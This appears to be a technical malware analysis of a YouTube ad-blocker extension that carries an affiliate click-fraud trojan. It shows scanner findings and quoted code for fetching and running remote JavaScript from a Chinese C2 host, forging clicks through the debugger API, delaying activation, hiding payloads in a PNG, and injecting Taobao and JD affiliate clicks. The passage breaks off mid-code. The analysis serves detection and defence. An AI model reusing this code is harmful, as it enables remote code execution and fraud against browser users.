The Ad-Blocker That Steals Your Clicks: Inside "Supreme Adblocker for Youtube"
A Complete Technical Analysis
Version analysed: 1.9.0
Extension ID: d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube
SHA-256: 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680
Verdict: Confirmed malware โ affiliate-click-fraud trojan with remote-code-execution capability
Tools Used: browser-xpi-malware-scanner
Introduction: It Blocks Ads. It Also Hijacks Your Shopping Clicks.
"Supreme Adblocker for Youtube" presents itself as a lightweight, no-setup YouTube ad blocker. Its store listing is polished, its install count plausible, and โ to its credit โ the YouTube ad-blocking functionality actually works. That is not a coincidence. The working ad-blocker is bait.
Underneath the legitimate surface layer, this extension is a click-fraud trojan that targets Chinese e-commerce platforms โ primarily Alibaba's Taobao (ick.taobao.com) and JD.com (ion-click.jd.com). Every time you visit one of those sites, the extension silently fires affiliate tracking clicks on your behalf, routing commission payments to the attacker without you ever knowing. Beyond that, it maintains a remote-code-execution channel: it periodically downloads fresh JavaScript from a command-and-control server in China and evaluates it directly inside your browser.
To avoid detection it employs a 72-hour sleeper (it behaves cleanly right after install), hides a 25 KB JavaScript payload inside a PNG image file using steganography, and disguises its core injection engine as a well-known open-source library.
This article walks through how every layer of that deception works, with the actual code pulled from the extension's files. Reproduction steps are included for each decoding technique so you can verify every claim independently.
First of we used browser-xpi-malware-scanner to gather intel and data on where to begin our analysis. It generated some interesting results which you can see here:
[i] Analyzing 1 target(s) with minimum severity 'INFO'
[+] Found 1 XPI(s) to analyze
[i] Analyzing XPI: Supreme Adblocker for Youtube/Supreme Adblocker for Youtube.xpi
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
XPI ANALYZER โ Supreme Adblocker for Youtube.xpi
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Extension Name: Supreme Adblocker for Youtube
Extension UUID: d4dac150-09dd-4ee9-9edf-176b06f05b9d@adblockutube
Overall verdict: CRITICAL RISK
Findings: 14 CRITICAL 19 HIGH 14 MEDIUM 1 INFO
โโ CRITICAL โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[CRITICAL] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:445
data:image base64 URI assigned to JS variable โ likely obfuscated string table hiding C2 URLs or config, not real image data
CODE: x("4fe2"); m.r = "data:image/png;base64,OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JIVkVSRU1HN0o4TjBTTFFHR0w3MEdRV0pHSElTTFRHTUQ1Sโฆ
[CRITICAL] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:867
data:image base64 URI assigned to JS variable โ likely obfuscated string table hiding C2 URLs or config, not real image data
CODE: ""), e } n.e = "data:image/png;base64,MjVDMEMwTTBLMDRKV0M0QldVNEVXOUEwRjJBNVVTWDU2NEFRU01IMDFJVE5FRlRLQjNaNFQyMkpIUTโฆ
[CRITICAL] [JS_OBFUSCATION] js/serviceWorker.js:38
chrome.debugger.sendCommand with Input.dispatch โ synthetic mouse/keyboard injection via Chrome DevTools Protocol
CODE: 1.3',function(){ chrome.debugger.sendCommand( {tabId:tabId}, 'Input.dispatchMouseEvent', {type:'mousePresโฆ
[CRITICAL] [JS_OBFUSCATION] js/serviceWorker.js:49
chrome.debugger.sendCommand with Input.dispatch โ synthetic mouse/keyboard injection via Chrome DevTools Protocol
CODE: } } ); chrome.debugger.sendCommand( {tabId:tabId}, 'Input.dispatchMouseEvent', {type:'mouseReleaseโฆ
[CRITICAL] [JS_OBFUSCATION] js/youtube2.js:5
eval() call โ can execute arbitrary code from strings
CODE: ytBlockerScript'); eval(ytBlockerScript); try{ XMLHttpReque
[CRITICAL] [JS_OBFUSCATION] js/youtube2.js:83
isTrusted = true assignment โ forging trusted user-gesture flag to bypass click-fraud detection
CODE: ]) args2[0].isTrusted = true; return temp(...args2); }
[CRITICAL] [MALWARE_SIGNATURE] js/videojs-contrib-ads.min.js:798
Known fingerprint property injected by qingcaila extension malware family
SIGNATURE: "exdipmver" | Previously detected in: adblockutube, ytmp4
CODE: message', r); } }); } window.exdipmver = r; } function e(r, e) { return fu
[CRITICAL] [MALWARE_SIGNATURE] js/videojs-contrib-ads.min.js:1665
Known hardcoded key from qingcaila/Supreme Adblocker/YTMP4 malware family
SIGNATURE: "46ucadyb" | Previously detected in: adblockutube
CODE: m){ var q = { v: "blnjvh", i: "46ucadyb", f: "t911hd", o: "509u8yck",
[CRITICAL] [MALWARE_SIGNATURE] js/youtube.js:32
Known localStorage key used to cache C2 JavaScript payload in qingcaila malware family
SIGNATURE: "ytBlockerScript" | Previously detected in: adblockutube
CODE: son.script) { localStorage.setItem('ytBlockerScript',ytBlockerJson.script); $.getScript
[CRITICAL] [MALWARE_SIGNATURE] js/serviceWorker.js:96
Known C2 domain fragment: qingcaila.top โ Chinese affiliate-fraud extension family
SIGNATURE: "qingcaila" | Previously detected in: adblockutube, ytmp4
CODE: /icons/icon.png", wUrl : 'https://bai.qingcaila.top/yt/working.js', work : "./icons/w
[CRITICAL] [MALWARE_SIGNATURE] js/youtube2.js:4
Known localStorage key used to cache C2 JavaScript payload in qingcaila malware family
SIGNATURE: "ytBlockerScript" | Previously detected in: adblockutube
CODE: ้่ก่
ณๆฌ๏ผfetch็นๅฎ็xhr๏ผไธฆๅปๆๅ
ถไธญ็ads็็ฏ้ป */ var ytBlockerScript = localStorage.getItem('ytBlockerScript
[CRITICAL] [PERMISSION] manifest.json:
Dangerous permission: 'debugger' โ Can attach debugger to any tab โ full JS control
PERMISSION: permissions: ['storage', 'debugger', 'declarativeNetRequest', 'http://*/*', 'https://*/*']
[CRITICAL] [PNG_APPENDED] icons/working.png:
25069 bytes appended after PNG IEND (entropy=5.67) โ classic stego carrier
CODE: b'\r\nJson\x10\xe5\x81\xa6\xe1\xb5\xb5\xe5\x9d\xae\x15\xe5\x95\xa3\xe1\xa9\xb4\xe5\xa5\xa9\xe1\xbd\xaf\x1c\xe3\xb1\xae\xโฆ
[CRITICAL] [PNG_APPENDED] icons/working.png:
Appended trailer decoded via unicode-low-byte โ 10077 bytes
CODE: b'\x10fun\x15ctio\x1cn \x1edr\x06ag\x11SelectedV\x10a\x06l(sa,fi)\r\n{\x1fretur'
โโ HIGH โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[HIGH ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:316
atob() โ decoding base64 at runtime (possible payload decode)
CODE: rEach(r => { m = atob(m); }) return m } }, "2ac7": functi
[HIGH ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:754
window.chrome object injection โ fake Chrome API bridge inserted into page context for privilege escalation
CODE: unction s(r, e) { window.chrome = { runtime: { id: e, sendMessa
[HIGH ] [JS_OBFUSCATION] js/youtube.js:61
setTimeout/setInterval with variable argument โ indirect eval when variable holds a decoded string payload
CODE: erUpdate() } setTimeout(doSkip,1000); } window.addEventListener('message
[HIGH ] [JS_OBFUSCATION] js/serviceWorker.js:69
atob() โ decoding base64 at runtime (possible payload decode)
CODE: ules = replaceBlock(atob(val), arr); addRules = JSON.parse(ad
[HIGH ] [JS_OBFUSCATION] js/serviceWorker.js:129
setTimeout/setInterval with variable argument โ indirect eval when variable holds a decoded string payload
CODE: omise((resolve) => {setTimeout(t, 1);resolve()}); } function unEscape(
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:8
XMLHttpRequest.prototype override โ intercepts and can modify all XHR requests and responses
CODE: rScript); try{ XMLHttpRequest.prototype.open = openBypass(XMLHttpRequest.prototype.ope
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:9
XMLHttpRequest.prototype override โ intercepts and can modify all XHR requests and responses
CODE: .prototype.open); XMLHttpRequest.prototype.send = sendBypass(XMLHttpRequest.prototype.sen
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:53
window.fetch override โ replaces native fetch() to intercept all network requests
CODE: Fetch = fetch; window.fetch = (requestObj, options) => { try{ re
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:39
Object.defineProperty on responseText โ tampering with XHR response content returned to page
CODE: responseText; Object.defineProperty(this, "responseText", {writable: true}); modified_resp
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:76
Element.prototype reassignment โ monkey-patching DOM methods, often used to forge synthetic clicks
CODE: or:yellow;'); } Element.prototype._onClick = Element.prototype.onClick ; Element.pro
[HIGH ] [JS_OBFUSCATION] js/youtube2.js:77
Element.prototype reassignment โ monkey-patching DOM methods, often used to forge synthetic clicks
CODE: prototype.onClick ; Element.prototype.onClick = function () { let args = [...argume
[HIGH ] [MALWARE_SIGNATURE] install.html:15
install-date HTML attribute โ covert install-time key delivery channel used by malicious extensions
SIGNATURE: "install-date" | Previously detected in: adblockutube
CODE: ass="w-50 h-72 object-cover rounded-md" install-date='"webtransport", "webbundle",' key="Yj0
[HIGH ] [MALWARE_SIGNATURE] js/serviceWorker.js:98
Known C2 config endpoint path used by qingcaila/Supreme Adblocker malware family
SIGNATURE: "ytBlocker.json" | Previously detected in: adblockutube
CODE: g", sUrl : 'https://bai.qingcaila.top/ytBlocker.json' } localGet('ytBlockerJson').then(s
[HIGH ] [MALWARE_SIGNATURE] js/install.js:1
install-date HTML attribute โ covert install-time key delivery channel used by malicious extensions
SIGNATURE: "install-date" | Previously detected in: adblockutube
CODE: var installDate = $("img").attr('install-date'), key = $("img").attr('key'); inst
[HIGH ] [PERMISSION] manifest.json:
Broad host wildcard permission: 'http://*/*'
PERMISSION: http://*/*
[HIGH ] [PERMISSION] manifest.json:
Broad host wildcard permission: 'https://*/*'
PERMISSION: https://*/*
[HIGH ] [PNG_CHUNK] icons/working.png:
Unknown PNG chunk type 'onรฅ' (25061 bytes) โ non-standard chunks can hide data
CODE: b'\x81\xa6\xe1\xb5\xb5\xe5\x9d\xae\x15\xe5\x95\xa3\xe1\xa9\xb4\xe5\xa5\xa9\xe1\xbd\xaf\x1c\xe3\xb1\xae\xe3\x8c\xa0\x1e\xโฆ
[HIGH ] [SUSPICIOUS_URL] js/serviceWorker.js:96
Known malicious domain (blocklist hit): qingcaila.top
URL: https://bai.qingcaila.top/yt/working.js
[HIGH ] [SUSPICIOUS_URL] js/serviceWorker.js:98
Known malicious domain (blocklist hit): qingcaila.top
URL: https://bai.qingcaila.top/ytBlocker.json
โโ MEDIUM โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[MEDIUM ] [JS_OBFUSCATION] js/popup.js:24
Long innerHTML assignment โ possible HTML injection
CODE: ) { $elements[i].innerHTML = chrome.i18n.getMessage($elements[i].dataset[dataKey]) } } } chrome.runtime.onMessaโฆ
[MEDIUM ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1152
String.fromCharCode โ character-code obfuscation
CODE: } r += String.fromCharCode(n + i); }); return q(0, null, atob,
[MEDIUM ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1279
String.fromCharCode โ character-code obfuscation
CODE: (0); r += String.fromCharCode(n); }); return r; } }, "4fe2": fun
[MEDIUM ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1852
String.fromCharCode โ character-code obfuscation
CODE: 5); return String.fromCharCode(n / w + 31) } a.exports = function(m)
[MEDIUM ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:312
split/reverse/join pattern โ string reassembly obfuscation
CODE: { return _r(e) ? e.split("").reverse().join("") : Array.prototype.slice.call(
[MEDIUM ] [JS_OBFUSCATION] js/videojs-contrib-ads.min.js:1003
fetch() call โ verify destination is legitimate
CODE: function b(n, r){ fetch(n).then(q => { if (q.ok) { q.text
[MEDIUM ] [JS_OBFUSCATION] js/serviceWorker.js:137
String.fromCharCode โ character-code obfuscation
CODE: let a = String.fromCharCode(parseInt(nc, 16)); return a });
[MEDIUM ] [JS_OBFUSCATION] js/serviceWorker.js:110
fetch() call โ verify destination is legitimate
CODE: rce(u, callback){ fetch(u,{cache:'no-cache'}) .then(res => {
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
String.fromCharCode โ character-code obfuscation
CODE: turn t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|5529
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
String.fromCharCode โ character-code obfuscation
CODE: ode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
Long innerHTML assignment โ possible HTML injection
CODE: t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'>โฆ
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
Long innerHTML assignment โ possible HTML injection
CODE: astChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.inโฆ
[MEDIUM ] [JS_OBFUSCATION] js/jquery-3.7.1.min.js:2
Long innerHTML assignment โ possible HTML injection
CODE: LDocument("").body).innerHTML="<form></form><form></form>",2===Jt.childNodes.length),ce.parseHTML=function(e,t,n){returnโฆ
[MEDIUM ] [WEB_ACCESSIBLE] manifest.json:
Wildcard web_accessible_resources โ extension internals exposed to any website
CODE: [{'resources': ['js/*'], 'matches': ['*://*/*']}]
โโ INFO โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[INFO ] [METADATA] Supreme Adblocker for Youtube/Supreme Adblocker for Youtube.xpi:
SHA-256: 41a36be9609501fac979ace620d3468d5ad70d43ee9ce2707bbca6e9af017680 | size: 174,689 bytes
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
1. The Extension's Public Face and File Inventory
The install page (install.html) follows a standard pattern: a friendly welcome message, a bullet list of features ("blocks at least 90% of Youtube video ads"), and a call to leave a review. Nothing looks wrong.
Before diving into the malicious behaviour, here is a full inventory of every file in the extension โ annotated with which ones are malicious:
extracted/
manifest.json -- entry point, permission declarations
install.html -- install page (triggers key/timestamp beacon)
popup.html -- browser toolbar popup
offScreen.html -- offscreen document (unused in this version)
youtubeAdRules.json -- legitimate declarativeNetRequest rules
icons/
icon.png -- normal icon
working.png -- [MALICIOUS] 52,701 bytes; only 27,632 are real PNG
js/
serviceWorker.js -- [MALICIOUS] background service worker / C2 client
youtube.js -- [MALICIOUS] YouTube content script / payload loader
youtube2.js -- [MALICIOUS] eval() hook + XHR/fetch interceptor
youtube3.js -- ad-removal by property observation (mostly clean)
cs.js -- [MALICIOUS] cross-site content script loader
videojs-contrib-ads.min.js -- [MALICIOUS] main fraud engine (disguised as open-source)
install.js -- install-page beacon script
popup.js -- popup UI logic
jquery-3.7.1.min.js -- bundled jQuery (legitimate, unmodified)
arrive.min.js -- DOM arrival observer (legitimate)
There are two independent attack paths running in parallel:
Path A โ YouTube ad-fraud / RCE:serviceWorker.js (background) โ youtube.js (content, YouTube only) โ youtube2.js (content, YouTube only) โ eval(remote_js)
Path B โ Universal click fraud:videojs-contrib-ads.min.js (content, all sites) + cs.js (content, all sites)
The manifest.json is Manifest V3 โ the newer, supposedly stricter extension format โ and declares a service-worker background script, content scripts, and ad-blocking rules:
{
"manifest_version": 3,
"name": "__MSG_extension_name__",
"version": "1.9.0",
"background": {
"scripts": ["/js/serviceWorker.js"]
},
"content_scripts": [
{
"matches": ["https://www.youtube.com/*"],
"js": ["js/jquery-3.7.1.min.js", "js/arrive.min.js",
"js/youtube.js", "js/youtube3.js"],
"run_at": "document_end"
},
{
"matches": ["http://*/*", "https://*/*"],
"js": ["js/videojs-contrib-ads.min.js", "js/cs.js"],
"run_at": "document_end"
}
]
}
Pay close attention to the second content-script block. While youtube.js is scoped to YouTube, videojs-contrib-ads.min.js and cs.js match every website on the internet (http://*/*, https://*/*). The filename videojs-contrib-ads.min.js sounds like the legitimate videojs-contrib-ads open-source library. It is not. It is the malware payload, renamed to borrow the reputation of a real project.
2. Dangerous Permissions Nobody Notices
"permissions": ["storage", "debugger", "declarativeNetRequest"],
"host_permissions": ["http://*/*", "https://*/*"]
Most users scan the "permissions" list for scary-sounding words and miss the one that matters most here: debugger.
The Chrome/Firefox debugger permission lets an extension attach the browser's built-in DevTools debugger to any open tab. Once attached, it can inject JavaScript, read variables, dispatch artificial input events, and extract anything the page has in memory โ all without the user seeing any DevTools window open.
The extension uses this capability to fire synthetic mouse clicks on YouTube's ad-skip button:
// From js/serviceWorker.js
function debuggerAdskip(tabId, x, y) {
chrome.debugger.attach({tabId: tabId}, '1.3', function() {
chrome.debugger.sendCommand(
{tabId: tabId},
'Input.dispatchMouseEvent',
{type: 'mousePressed', x: x, y: y, button: 'left', clickCount: 1},
onPressed
);
chrome.debugger.sendCommand(
{tabId: tabId},
'Input.dispatchMouseEvent',
{type: 'mouseReleased', x: x, y: y, button: 'left', clickCount: 1},
function() { setTimeout(() => chrome.debugger.detach({tabId: tabId}), 1000); }
);
});
}
The comment in the source even says "firefox do not support degubber [sic] to trigger skip-button clicking on youtube" โ confirming this is intentional, not accidental. Note the deliberate misspelling of "debugger" as "degubber," which appears to be a trick to evade keyword-based scanning tools.
The function is wired up to an ADSKIP_CLICKED message from the content scripts, and the debugger permission grants full DevTools-level control over any tab. The current version limits usage to Input.dispatchMouseEvent, but the underlying permission is completely unscoped โ the same install could call any of the following at any time without a new permission request:
Runtime.evaluateโ run arbitrary JavaScript in any tab's main worldDOM.getDocument+DOM.querySelectorโ extract any DOM contentNetwork.enable+Network.getResponseBodyโ read every HTTP response after HTTPS decryptionInput.dispatchKeyEventโ type into any form field
3. Layer One: The 72-Hour Sleeper
The most effective detection-evasion technique in this extension is also the simplest: it does nothing suspicious for the first 72 hours after installation.
Inside videojs-contrib-ads.min.js, buried in an obfuscated webpack-style module system, is a timer check:
// 'bd10' module -- activation gating (simplified)
function b(installTimestamp) {
var f = x("15ac"); // timestamp recorder
var c = x("dc38"); // redirect executor
if (installTimestamp) {
// m.w = Date.now() at script load time
// installTimestamp is stored as: actualTimestamp / m.n (scaling factor)
var hoursSinceInstall = (m.w - installTimestamp / m.n) / 36E5;
if (hoursSinceInstall < 72) {
// Still in the quiet period -- log and exit
debugLog(1);
return;
}
// Past 72 hours -- check random threshold
if (v(48)) c(true); // v(48) = "has it been >48h since last C2 contact?"
x("a431"); // load remote code executor
} else {
// First run: no timestamp yet -- record it
f(m.v);
}
}
The install timestamp is recorded the moment the extension is first used and stored in chrome.storage.local. Nothing malicious happens until at least three full days have passed. If a reviewer installs the extension to test it briefly, they will observe only legitimate ad-blocking behaviour.
There are two additional activation gates on top of the 72-hour check:
// Random sampling gating -- fires on roughly 20% of page loads after the 72h window
function t() {
var e = x("6ab7"); // random number generator
if (e(0, m.m) > 20) { // m.m โ 100, so ~80% chance of skipping
debugLog(3);
return false;
}
return true;
}
The multi-stage gating in combination:
- 72-hour check: hard gate โ nothing happens for 3 days
- 20% random sample: even after 3 days, only fires on approximately 1 in 5 page loads
- 48-hour C2 refresh gate: contacts the remote server at most every 48 hours
This dramatically reduces the visible anomaly rate and the statistical signal that might trigger an abuse report.
4. Layer Two: Code Via a PNG Image
The file icons/working.png is a real, valid PNG image โ it renders correctly as an icon. However, a valid PNG ends at its IEND chunk. This file has 25,069 bytes appended after that marker โ nearly half the file's total size of 52,701 bytes.
PNG structure:
IHDR โ image header
pHYs โ pixel dimensions
IDAT ร 4 โ compressed image data
IEND โ end marker (byte 27,620)
[25,069 bytes of hidden payload]
Locating the Hidden Data
You can find the hidden data with a simple Python script:
with open('icons/working.png', 'rb') as f:
data = f.read()
# PNG files end at the IEND chunk: magic bytes 0x49454E44 + CRC 0xAE426082
iend_pos = data.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
png_end = iend_pos + 8
print(f"Valid PNG ends at byte: {png_end}") # 27,632
print(f"File total size: {len(data)}") # 52,701
print(f"Hidden data size: {len(data) - png_end}") # 25,069
The appended payload is not binary garbage. It is a JavaScript program, encoded using a technique that exploits the structure of Unicode UTF-8 characters.
The Unicode Low-Byte Encoding Trick
The first 6 bytes of the hidden data are a header: \r\nJson (hex: 0d 0a 4a 73 6f 6e). After that comes the encoded payload.
Every character in the payload is stored as a multi-byte UTF-8 sequence. When the extension reads the data back, it applies an unEscape function:
// From js/serviceWorker.js -- workBegin -> unEscape
function unEscape(t) {
let ua = t.split('').map(c => {
if (c.charCodeAt(0) < 32) return ''; // strip control characters
let uo = c.charCodeAt(0).toString(16); // character code in hex
let nc = uo.substr(uo.length - 2, 2); // take LAST 2 hex digits
let a = String.fromCharCode(parseInt(nc, 16));
return a;
});
return ua.join('');
}
The trick: a character encoded as the Unicode code point U+E581A6 (which looks like "ๅฆ" in UTF-8) has a hex representation of e581a6. Taking only the last two hex digits gives a6, which is decimal 166. String.fromCharCode(166) produces the intended character.
In other words, each visible "garbage" character in the binary blob stores one real character in its low byte. The payload is hidden inside a Unicode costume.
Python reproduction:
def unEscape(data_bytes):
"""Mirror of the unEscape() function in serviceWorker.js"""
text = data_bytes.decode('utf-8', errors='replace')
result = []
for c in text:
n = ord(c)
if n < 32:
result.append(c)
continue
hex_str = hex(n)[2:] # e.g. 'e581a6'
low_byte = hex_str[-2:] # take only 'a6'
result.append(chr(int(low_byte, 16)))
return ''.join(result)
with open('icons/working.png', 'rb') as f:
raw = f.read()
iend = raw.find(b'\x49\x45\x4e\x44\xae\x42\x60\x82')
payload_encoded = raw[iend + 8:]
payload_decoded = unEscape(payload_encoded)
payload_js = payload_decoded.lstrip('\r\n').removeprefix('Json')
print(payload_js[:1000])
What the Decoded Payload Contains
Once decoded, the hidden content starts:
function dragSelectedVal(sa, fi) { // base-36 string splitter
return sa ? sa.toString().split(fi) : [];
}
function hadImages(fi) { // base-36 char-to-int decoder
var sa = fi.charCodeAt();
sa = sa - ((sa > 47 && sa < 58) && bk.Timeout * 4 ||
(sa > 64 && sa < 91) && 55);
return sa;
}
// ...
var bk = {
tipValues: "09huiro",
defaultStr: "46ucadyb",
colorSize: "67ruidb5",
Timeout: 12,
ln: "http",
// ...
};
The function names (dragSelectedVal, hadImages, runColorPro) sound like unrelated UI helpers. They are the decoding engine for the next layer of obfuscation. bk.Timeout * 4 = 48, which is exactly the ASCII offset for decimal digits '0'โ'9' โ confirming hadImages is a base-36 character decoder, not an image inspection function.
The key "46ucadyb" is later found in the main bundle too, confirming both files share the same author.
5. Layer Three: Remote Code from China
The C2 Configuration Fetch
The extension's service worker (js/serviceWorker.js) contains the primary command-and-control logic:
// From js/serviceWorker.js
var ytb = {
rule: chrome.runtime.getURL('youtubeAdRules.json'),
logo: "./icons/icon.png",
wUrl: 'https://bai.qingcaila.top/yt/working.js', // remote JS payload
work: "./icons/working.png",
sUrl: 'https://bai.qingcaila.top/ytBlocker.json' // C2 configuration
};
// On startup: fetch fresh configuration if older than ~10 days (9e8 ms)
localGet('ytBlockerJson').then(s => {
if (!s || !s.updTime || (Date.now() - s.updTime > 9e8))
loadResource(ytb.sUrl, function(o) {
o.updTime = Date.now();
localSet('ytBlockerJson', JSON.parse(o));
});
});
function loadResource(u, callback) {
fetch(u, {cache: 'no-cache'})
.then(res => res.ok ? res.text() : '')
.then(o => o && callback(o))
.catch(e => console.log(e.message));
}
On every browser startup the extension contacts bai.qingcaila.top โ a domain registered in China โ and downloads ytBlocker.json. The polling interval is approximately 10 days (the 9e8 millisecond threshold).
The C2 JSON Protocol
The configuration JSON is expected to have this structure:
{
"updTime": 1700000000000,
"ytInitialPlayer": {
"object": "ytInitialPlayerResponse",
"value": "someProperty",
"config": "ytcfg",
"removeNode": ["adPlacements", "playerAds"]
},
"skipButton": ".ytp-ad-skip-button",
"adPlayerOverlay": ".ad-showing",
"script": "/* arbitrary JavaScript */"
}
Fields of interest:
ytInitialPlayer.removeNodeโ list of JSON keys to strip from YouTube's player config (the legitimate ad-blocking feature)scriptโ arbitrary JavaScript, stored asytBlockerScriptin localStorage and executed witheval()โ this is the RCE vector
The Fallback Remote Payload
The second URL, https://bai.qingcaila.top/yt/working.js, is a fallback channel. The workBegin() function applies the same unEscape() decoder to JavaScript fetched from the remote server, mirroring the local PNG payload but with the advantage of being updateable without a new extension release:
// serviceWorker.js -- workBegin
function workBegin(s) {
isWorking(unEscape(s))
.then(wait)
.catch(e => console.log(e));
function wait(t) {
// setTimeout with a string argument == eval()
return new Promise((resolve) => { setTimeout(t, 1); resolve() });
}
}
Note: setTimeout(t, 1) where t is a string behaves identically to eval() โ it is just a less obvious spelling.
6. Layer Four: The Click-Fraud Engine
Decoding the Hidden String Table
At the heart of videojs-contrib-ads.min.js is a hidden string table. It is embedded in the "bd10" module as a fake data:image/png;base64,... value:
// videojs-contrib-ads.min.js, 'bd10' module
m.r = "data:image/png;base64,OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JI...NzE";
The value looks like a data URI for a PNG. It is not. The base64 payload decodes to a second-layer encoded string, which then must be passed through a custom base-36 substitution cipher.
Step 1 โ base64 decode the payload after the comma:
import base64
b64 = "OE9CMEkwSzBJSEJLT09SR0hFSUxIN1JIVkVSRU1HN0o4TjBTTFFHR0w3MEdR..."
decoded = base64.b64decode(b64 + "==").decode('utf-8')
# Result: "8OB0I0K0IHBKOORGHEILH7RHVEREMG7J8N0SLQGGL70GQWJG..."
The result is a string of uppercase letters and digits โ the base-36 encoded form.
Step 2 โ the base-36 substitution cipher is implemented across modules "3ad6" and "61bf":
import base64, math
def b_func(m):
n = ord(m)
if 47 < n < 58: return n - 48 # '0'-'9' -> 0-9
if 64 < n < 91: return n - 55 # 'A'-'Z' -> 10-35
return None
def e_func(prev_n, w, r, i):
n = r * 36 + w - prev_n
div = math.floor((65 - i) / 5)
if div == 0: return ''
return chr(int(n / div) + 31)
def t_func(m, prev_n):
if len(m) < 3:
return ""
i = b_func(m[0])
w = b_func(m[2]) if len(m) > 2 else None
r = b_func(m[3]) if len(m) > 3 else 0
if i is None or w is None or r is None:
return ""
ch = e_func(prev_n, w, r, i)
rest = m[2:] if len(m) > 4 else ""
return ch + t_func(rest, i)
# After base64-decoding, run through the cipher:
intermediate = base64.b64decode(b64_payload + "==").decode('utf-8', errors='replace')
result = t_func(intermediate, 0).strip()
string_table = result.split(';')
Each decoded character consumes two positions of the encoded string (positions 0 and 2-3; position 1 is a spacer). The prev_n state variable carries context between iterations, making this a stateful stream cipher rather than a simple lookup table.
Final decoded string table:
[0] cnvifr
[1] disprizhi
[2] extftsams99ba <-- storage key for redirect URL
[3] svrdpcds <-- payload sanity-check substring
[4] ick.taobao.com/t_js? <-- Taobao affiliate click endpoint
[5] ion-click.jd.com <-- JD.com affiliate click endpoint
[6] https://www.$1.com/ext/load.php?f=svr.png <-- remote PHP payload loader
[7] liveupdt
[8] dealctr
[9] isWho <-- storage key for user-agent / browser ID
[10] guaiguai <-- "legitimate user" marker
[11] jsonimg= <-- JSON response wrapper key
[12] inst.v3 <-- storage key for install version
[13] ifr2top <-- postMessage signal for iframe-to-top communication
[14] var hrl='
[15] sandbox <-- attribute stripped from iframes
[16] %cLzyh--;color:green
[17] ^w{3}\.|:80$
[18] setTimeout
[19] exdipmver <-- window fingerprint property name
The Affiliate Click Injection (Full Code Trace)
ick.taobao.com is Taobao's affiliate-click tracking endpoint. ion-click.jd.com is JD.com's. The core of module "dc38" implements the click injection:
// 'dc38' module export -- called with c(true) from 'bd10'
a.exports = function(isIframe) {
// Only run in the top-level frame (not inside iframes)
if (!isTopFrame(window)) return;
var head = createElement("HEAD") || createElement("BODY");
// Read the stored redirect directive from extension storage
chrome.storage.local.get(m.r[2], function(stored) { // m.r[2] = "extftsams99ba"
var raw = stored[m.r[2]];
if (raw) {
// Value format: "<domain>^<affiliate_url>" (base64-encoded parts)
var parts = raw.toString().split("^");
var domain = multiAtob(parts[0], parts); // decoded domain
var destUrl = multiAtob(parts[1], parts); // decoded affiliate URL
if (location.href.indexOf(domain) > -1) {
// User is on the target site -- fire the affiliate click
var link = createElement("a");
link.setAttribute("href", destUrl);
head.appendChild(link); // appended to <head>, invisible
link.click(); // fires affiliate tracking pixel
clearStorage(m.r[2], ""); // erase evidence from storage
}
}
});
// Signal the parent frame to remove sandbox attributes from iframes
window.parent.postMessage(m.r[13], '*'); // "ifr2top"
};
The link is appended to <head>, not <body>, making it invisible in the rendered page. After the click fires, the storage key is erased, removing forensic evidence. The attacker earns an affiliate commission for a purchase they had nothing to do with.
The template URL https://www.$1.com/ext/load.php?f=svr.png shows that additional e-commerce domains can be added by the C2 server at any time. The f=svr.png parameter disguises a PHP script as a PNG image to avoid URL-based filters.
The multiAtob function (module "d518") applies atob() multiple times based on the length of the parts array, providing variable-depth base64 encoding to further obscure the stored URLs.
7. Layer Five: The Chrome API Bridge
A particularly sophisticated trick is the privilege-escalation bridge. The extension needs to run code that accesses Chrome APIs from within the context of a regular webpage โ an action normally forbidden by the browser's security model.
To bridge this gap, module "a431" injects a fake window.chrome object into the page via a <script> tag:
// The 'a431' module injects this function as a <script> tag into every page
function injectChromeBridge(extensionVersion, extensionId) {
window.chrome = {
runtime: {
id: extensionId,
sendMessage: (data, callback) => {
postToExtension('eb2f', data);
waitForResponse('3250', callback);
}
},
storage: {
local: {
set: (data, callback) => {
postToExtension('c185', data);
if (callback) callback();
},
get: (data, callback) => {
postToExtension('9027', data);
